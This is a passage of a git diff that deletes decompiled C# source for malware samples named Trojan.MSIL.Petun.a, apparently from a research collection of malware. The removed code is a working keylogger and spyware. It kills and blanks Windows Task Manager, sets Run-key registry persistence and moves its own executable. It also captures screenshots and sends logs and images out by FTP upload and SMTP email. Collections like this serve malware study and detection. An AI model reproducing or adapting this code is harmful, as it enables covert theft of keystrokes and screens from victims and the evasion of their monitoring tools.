Module1.NfPl(300); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - if (process.MainWindowTitle.Contains("Windows Task Manager")) - { - process.Kill(); - Module1.NfPl(700); - } - checked { ++index; } - } - goto label_0; - } - - [DllImport("kernel32", EntryPoint = "GetModuleFileNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetModuleFileName(int hModule, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpFileName, int nSize); - - [DllImport("kernel32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ExitProcess(uint uExitCode); - - [DllImport("kernel32", EntryPoint = "MoveFileExW", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int MoveFile([MarshalAs(UnmanagedType.LPTStr), In] string lpExistingFileName, [MarshalAs(UnmanagedType.LPTStr), In] string lpNewFileName, long dwFlags); - - public static void DDppRamOi() - { - string executablePath1 = Application.ExecutablePath; - string executablePath2 = Application.ExecutablePath; - int moduleFileName = Module1.GetModuleFileName(0, ref executablePath2, 256); - Module1.MoveFile(Strings.Left(executablePath1, moduleFileName), Path.GetTempPath() + "\\tm" + DateTime.Now.Millisecond.ToString() + ".tmp", 8L); - Module1.ExitProcess(0U); - } - - public static string UpFTP( - ref string wvXFWJNm, - ref string Dir, - ref string yqmyPezn, - ref string BJxdmnlq, - ref string upStr) - { - string str1; - try - { - string str2 = "\\" + Module1.LT + ".txt"; - string str3 = Path.GetTempPath() + str2; - System.IO.File.WriteAllText(str3, upStr); - MyProject.Computer.Network.UploadFile(str3, "ftp://" + wvXFWJNm + Dir + str2, yqmyPezn, BJxdmnlq); - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - MyProject.Computer.Network.UploadFile(Path.GetTempPath() + str2 + ".gif", "ftp://" + wvXFWJNm + Dir + str2 + ".gif", yqmyPezn, BJxdmnlq); - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - } - System.IO.File.Delete(str3); - str1 = "FTP information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "FTP information is invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - public static string SendEmail( - ref string SMTP, - ref string Froma, - ref string Password, - ref string Recipient, - ref string Subject, - ref string Body, - ref int Port) - { - string str1; - try - { - MailMessage message = new MailMessage(); - message.From = new MailAddress(Froma); - message.To.Add(Recipient); - message.Subject = Subject; - message.Body = Body; - SmtpClient smtpClient = new SmtpClient(SMTP); - string str2 = "\\" + Module1.LT; - if (Module1.TakeScrns) - { - using (Bitmap bitmap = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height)) - { - using (Graphics graphics = Graphics.FromImage((Image) bitmap)) - { - graphics.CopyFromScreen(0, 0, 0, 0, Screen.PrimaryScreen.Bounds.Size); - bitmap.Save(Path.GetTempPath() + str2 + ".gif", ImageFormat.Gif); - } - } - Attachment attachment = new Attachment(Path.GetTempPath() + str2 + ".gif"); - message.Attachments.Add(attachment); - } - smtpClient.Port = Port; - smtpClient.EnableSsl = true; - smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(Froma, Password); - smtpClient.Send(message); - if (Module1.TakeScrns) - System.IO.File.Delete(Path.GetTempPath() + str2 + ".gif"); - str1 = "Email information is valid and working!"; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str1 = "Email information invalid: " + ex.Message; - ProjectData.ClearProjectError(); - } - return str1; - } - - private static string TripleDESEncode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - MemoryStream memoryStream = new MemoryStream(checked (value.Length * 2 - 1)); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write); - byte[] bytes = Encoding.UTF8.GetBytes(value); - cryptoStream.Write(bytes, 0, bytes.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Convert.ToBase64String(numArray); - } - - public static string TripleDESDecode(string value, string key) - { - TripleDESCryptoServiceProvider cryptoServiceProvider = new TripleDESCryptoServiceProvider(); - cryptoServiceProvider.IV = new byte[8]; - PasswordDeriveBytes passwordDeriveBytes = new PasswordDeriveBytes(key, new byte[0]); - cryptoServiceProvider.Key = passwordDeriveBytes.CryptDeriveKey("RC2", "MD5", 128, new byte[8]); - byte[] buffer = Convert.FromBase64String(value); - MemoryStream memoryStream = new MemoryStream(value.Length); - CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, cryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); - cryptoStream.Write(buffer, 0, buffer.Length); - cryptoStream.FlushFinalBlock(); - byte[] numArray = new byte[checked ((int) (memoryStream.Length - 1L) + 1)]; - memoryStream.Position = 0L; - memoryStream.Read(numArray, 0, checked ((int) memoryStream.Length)); - cryptoStream.Close(); - return Encoding.UTF8.GetString(numArray); - } - - public struct zoUQQPUFx - { - public int vkCode; - public int scanCode; - public int flags; - public int time; - public int dwExtraInfo; - } - - public enum hRbhdpGHc - { - K_Backspace = 8, - K_Tab = 9, - K_Return = 13, // 0x0000000D - K_Shift = 16, // 0x00000010 - K_Control = 17, // 0x00000011 - K_Alt = 18, // 0x00000012 - K_Pause = 19, // 0x00000013 - K_CapsLock = 20, // 0x00000014 - K_Esc = 27, // 0x0000001B - K_Space = 32, // 0x00000020 - ZbvYd = 35, // 0x00000023 - hhJReG = 36, // 0x00000024 - K_Left = 37, // 0x00000025 - K_Up = 38, // 0x00000026 - K_Right = 39, // 0x00000027 - K_Down = 40, // 0x00000028 - K_PrintScreen = 44, // 0x0000002C - HBTCYI = 45, // 0x0000002D - Mcfia = 46, // 0x0000002E - K_0 = 48, // 0x00000030 - K_1 = 49, // 0x00000031 - K_2 = 50, // 0x00000032 - K_3 = 51, // 0x00000033 - K_4 = 52, // 0x00000034 - K_5 = 53, // 0x00000035 - K_6 = 54, // 0x00000036 - K_7 = 55, // 0x00000037 - K_8 = 56, // 0x00000038 - K_9 = 57, // 0x00000039 - K_A = 65, // 0x00000041 - K_B = 66, // 0x00000042 - K_C = 67, // 0x00000043 - K_D = 68, // 0x00000044 - K_E = 69, // 0x00000045 - K_F = 70, // 0x00000046 - K_G = 71, // 0x00000047 - K_H = 72, // 0x00000048 - K_I = 73, // 0x00000049 - K_J = 74, // 0x0000004A - K_K = 75, // 0x0000004B - K_L = 76, // 0x0000004C - K_M = 77, // 0x0000004D - K_N = 78, // 0x0000004E - K_O = 79, // 0x0000004F - K_P = 80, // 0x00000050 - K_Q = 81, // 0x00000051 - K_R = 82, // 0x00000052 - K_S = 83, // 0x00000053 - K_T = 84, // 0x00000054 - K_U = 85, // 0x00000055 - K_V = 86, // 0x00000056 - K_W = 87, // 0x00000057 - K_X = 88, // 0x00000058 - K_Y = 89, // 0x00000059 - K_Z = 90, // 0x0000005A - K_LWin = 91, // 0x0000005B - K_RWin = 92, // 0x0000005C - K_Numpad0 = 96, // 0x00000060 - K_Numpad1 = 97, // 0x00000061 - K_Numpad2 = 98, // 0x00000062 - K_Numpad3 = 99, // 0x00000063 - K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - JmnUo = 162, // 0x000000A2 - ghfkI = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.zoUQQPUFx lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/My/MyApplication.cs deleted file mode 100644 index 25c6cda2..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: test, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F8202A11-8FE6-4C3C-9AC3-09E5C5A6E263 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/My/MyComputer.cs deleted file mode 100644 index 60dc4af2..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: test, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F8202A11-8FE6-4C3C-9AC3-09E5C5A6E263 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/My/MyProject.cs deleted file mode 100644 index 0f1b1586..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: test, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F8202A11-8FE6-4C3C-9AC3-09E5C5A6E263 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [StandardModule] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [ComVisible(false)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/ROS.cs deleted file mode 100644 index 466744e9..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: test, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F8202A11-8FE6-4C3C-9AC3-09E5C5A6E263 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\nRgzTm", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.qIiIT, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index 8f152503..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {D49FDB9E-F2A1-480C-8409-C109FAC3D950} - WinExe - test - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index cabe58f3..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "test", "Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025.csproj", "{D49FDB9E-F2A1-480C-8409-C109FAC3D950}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {D49FDB9E-F2A1-480C-8409-C109FAC3D950}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {D49FDB9E-F2A1-480C-8409-C109FAC3D950}.Debug|Any CPU.Build.0 = Debug|Any CPU - {D49FDB9E-F2A1-480C-8409-C109FAC3D950}.Release|Any CPU.ActiveCfg = Release|Any CPU - {D49FDB9E-F2A1-480C-8409-C109FAC3D950}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/hWCLMK.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/hWCLMK.cs deleted file mode 100644 index 3c8c5b15..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/hWCLMK.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: hWCLMK -// Assembly: test, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F8202A11-8FE6-4C3C-9AC3-09E5C5A6E263 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025.exe - -using System; -using System.Threading; - -internal class hWCLMK : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public hWCLMK(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/qTmS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/qTmS.cs deleted file mode 100644 index 8d53ac6f..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025/qTmS.cs +++ /dev/null @@ -1,113 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: qTmS -// Assembly: test, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: F8202A11-8FE6-4C3C-9AC3-09E5C5A6E263 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-89054b5b55ad6e365d774d23d96908e2d5e9e95bbaa9a67e2a52bf487dd2b025.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Runtime.InteropServices; -using System.Text; -using System.Windows.Forms; - -[StandardModule] -internal sealed class qTmS -{ - private const int LVM_FIRST = 4096; - private const int LVM_DELETECOLUMN = 4124; - private static Timer t = new Timer(); - - [DllImport("user32", EntryPoint = "SendMessageA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SendMessage(IntPtr Hwnd, int wMsg, int wParam, int lParam); - - [DllImport("user32.dll", EntryPoint = "FindWindowA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int FindWindow([MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpWindowName); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int EnumChildWindows( - IntPtr hWndParent, - qTmS.EnumDelegate lpEnumFunc, - int lParam); - - [DllImport("user32.dll", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern long GetClassName(long hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpClassName, long nMaxCount); - - [DllImport("user32", EntryPoint = "GetClassNameA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); - - [DllImport("user32", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int cch); - - [DllImport("user32", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(IntPtr hWnd); - - private static void t_Tick(object sender, EventArgs e) - { - string str1 = (string) null; - ref string local1 = ref str1; - string str2 = "Windows Task Manager"; - ref string local2 = ref str2; - IntPtr window = (IntPtr) qTmS.FindWindow(ref local1, ref local2); - if (!(window != (IntPtr) 0)) - return; - qTmS.EnumChildWindows(window, new qTmS.EnumDelegate(qTmS.EnumChildWindows), 0); - } - - public static bool Running - { - get => qTmS.t.Enabled; - set - { - if (value) - { - if (qTmS.t.Interval != 500) - { - Timer t = qTmS.t; - qTmS.t.Tick += new EventHandler(qTmS.t_Tick); - t.Interval = 500; - t.Enabled = true; - t.Start(); - } - else - { - qTmS.t.Enabled = true; - qTmS.t.Start(); - } - } - else - { - qTmS.t.Enabled = false; - qTmS.t.Stop(); - } - } - } - - private static int EnumChildWindows(IntPtr lngHwnd, int lngLParam) - { - string str = qTmS.GetClass(lngHwnd); - string titleText = qTmS.GetTitleText(lngHwnd); - lngHwnd.ToString() + ", " + str + ", " + titleText; - return 1; - } - - private static string GetClass(IntPtr handle) - { - StringBuilder lpClassName = new StringBuilder(); - lpClassName.Length = (int) byte.MaxValue; - qTmS.GetClassName(handle, lpClassName, lpClassName.Length); - if (Strings.InStr(lpClassName.ToString(), "SysListView32") != 0) - qTmS.SendMessage(handle, 4124, (int) (IntPtr) 0, 0); - return lpClassName.ToString(); - } - - private static string GetTitleText(IntPtr handle) - { - StringBuilder lpString = new StringBuilder(); - lpString.Length = checked (qTmS.GetWindowTextLength(handle) + 1); - qTmS.GetWindowText(handle, lpString, lpString.Length); - return lpString.ToString(); - } - - private delegate int EnumDelegate(IntPtr lngHwnd, int lngLParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-89a0ba05bc3bf1034af4ea948f0a42780c77f928d5e66c19d84fc0deaecbe98a/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git 